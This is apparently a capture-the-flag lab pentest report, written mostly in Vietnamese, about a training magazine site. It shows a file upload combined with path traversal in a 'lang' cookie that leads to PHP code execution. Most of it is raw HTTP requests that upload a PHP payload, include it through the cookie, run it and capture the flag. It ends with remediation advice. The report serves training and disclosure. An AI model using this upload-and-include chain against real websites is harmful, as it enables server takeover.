

Target: http://magazin.cyberjutsu-lab.tech:8091/

Overview

Infosecurity Magazine: một trong những tạp chí an toàn thông tin hàng đầu của Việt Nam. Người dùng có thể tự do bày tỏ quan điểm của mình.

Pentester: team1

Tools: Burp Suite, VS Code, Chrome

MAG-01-001: File Upload + Path Traversal dẫn đến RCE (Ngghiêm trọng)

Description and Impact

- Chức năng chuyển đổi ngôn ngữ từ Tiếng Anh sang Tiếng Việt và ngược lại
- File ngôn ngữ (en.html) được truyền thẳng vào cookie

```
1 GET / HTTP/1.1
2 Host: magazin.cyberjutsu-lab.tech:8091
3 Upgrade-Insecure-Requests: 1
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
  (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36
5 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/web
  p,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
6 Accept-Encoding: gzip, deflate
7 Accept-Language: en-US,en;q=0.9
8 Cookie: PHPSESSID=a4a64d7eb636b72711160e254bb9c553; lang=en.html
9 Connection: close
10
```

- Chức năng comment cho phép user upload file (txt, png, jpg)
- User có thể upload file chứa code PHP và thay đổi cookie để chạy code PHP để RCE server

Steps to reproduce

1. Comment và upload file payload.txt chứa code PHP

Request

Pretty Raw Hex

```

1 POST / HTTP/1.1
2 Host: magazin.cyberjutsu-lab.tech:8091
3 Content-Length: 302
4 Cache-Control: max-age=0
5 Upgrade-Insecure-Requests: 1
6 Origin: http://magazin.cyberjutsu-lab.tech:8091
7 Content-Type: multipart/form-data;
  boundary=----WebKitFormBoundary8vURAwOAli5VFSQB
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
  (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36
9 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/web
  p,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
10 Referer: http://magazin.cyberjutsu-lab.tech:8091/
11 Accept-Encoding: gzip, deflate
12 Accept-Language: en-US,en;q=0.9
13 Cookie: PHPSESSID=a4a64d7eb636b72711160e254bb9c553; lang=en.html
14 Connection: close
15
16 -----WebKitFormBoundary8vURAwOAli5VFSQB
17 Content-Disposition: form-data; name="comment"
18
19 cmt2
20 -----WebKitFormBoundary8vURAwOAli5VFSQB
21 Content-Disposition: form-data; name="file"; filename="payload.txt"
22 Content-Type: text/plain
23
24 <?php phpinfo(); ?>
25 -----WebKitFormBoundary8vURAwOAli5VFSQB--
26

```

2. File payload.txt được lưu ở path sau: http://magazin.cyberjutsu-lab.tech:8091/upload/90dc6e942539c671dd5e3e965d19c1be/payload.txt

3. Thay đổi cookie thành path của file payload.txt để thực thi code PHP

```

1 GET / HTTP/1.1
2 Host: magazin.cyberjutsu-lab.tech:8091
3 Upgrade-Insecure-Requests: 1
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
  (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36
5 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/web
  p,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
6 Accept-Encoding: gzip, deflate
7 Accept-Language: en-US,en;q=0.9
8 Cookie: PHPSESSID=a4a64d7eb636b72711160e254bb9c553; lang=
  ../upload/90dc6e942539c671dd5e3e965d19c1be/payload.txt
9 Connection: close
10

```

PHP Version 7.3.33

System	Linux 58d7376d8de2 5.19.0-29-generic #30-x86_64
Build Date	Mar 18 2022 03:11:44
Configure Command	./configure '--build=x86_64-linux-gnu' '--with

4. Đổi file payload.txt thành payload.png hoặc payload.jpg thì kết quả tương tự nhau, code PHP vẫn được thực thi

5. Thay đổi code PHP để chạy hàm system ta có thể RCE server và đọc flag

```

1 GET / HTTP/1.1
2 Host: magazin.cyberjutsu-lab.tech:8091
3 Upgrade-Insecure-Requests: 1
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
  (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36
5 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/web
  p,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
6 Accept-Encoding: gzip, deflate
7 Accept-Language: en-US,en;q=0.9
8 Cookie: PHPSESSID=a4a64d7eb636b72711160e254bb9c553; lang=
  ../upload/90dc6e942539c671dd5e3e965d19c1be/payload.txt
9 Connection: close
10

```

CBJS{9d16a356ce2a59144af01c8b67a974a9}

What are you thinking?

Submit

Recommendations

- Thay đổi quyền chạy code PHP, chỉ thực thi code PHP ở những nơi cần thiết
- File do người dùng upload lên nên được để ở một nơi riêng biệt so với website chính
- Sử dụng thư viện có sẵn để validate file thay vì tự code chức năng validate file

References

- [1] CyberJutsu Academy: <https://cyberjutsu.io/>
- [2] PortSwigger Academy <https://portswigger.net/web-security/dashboard>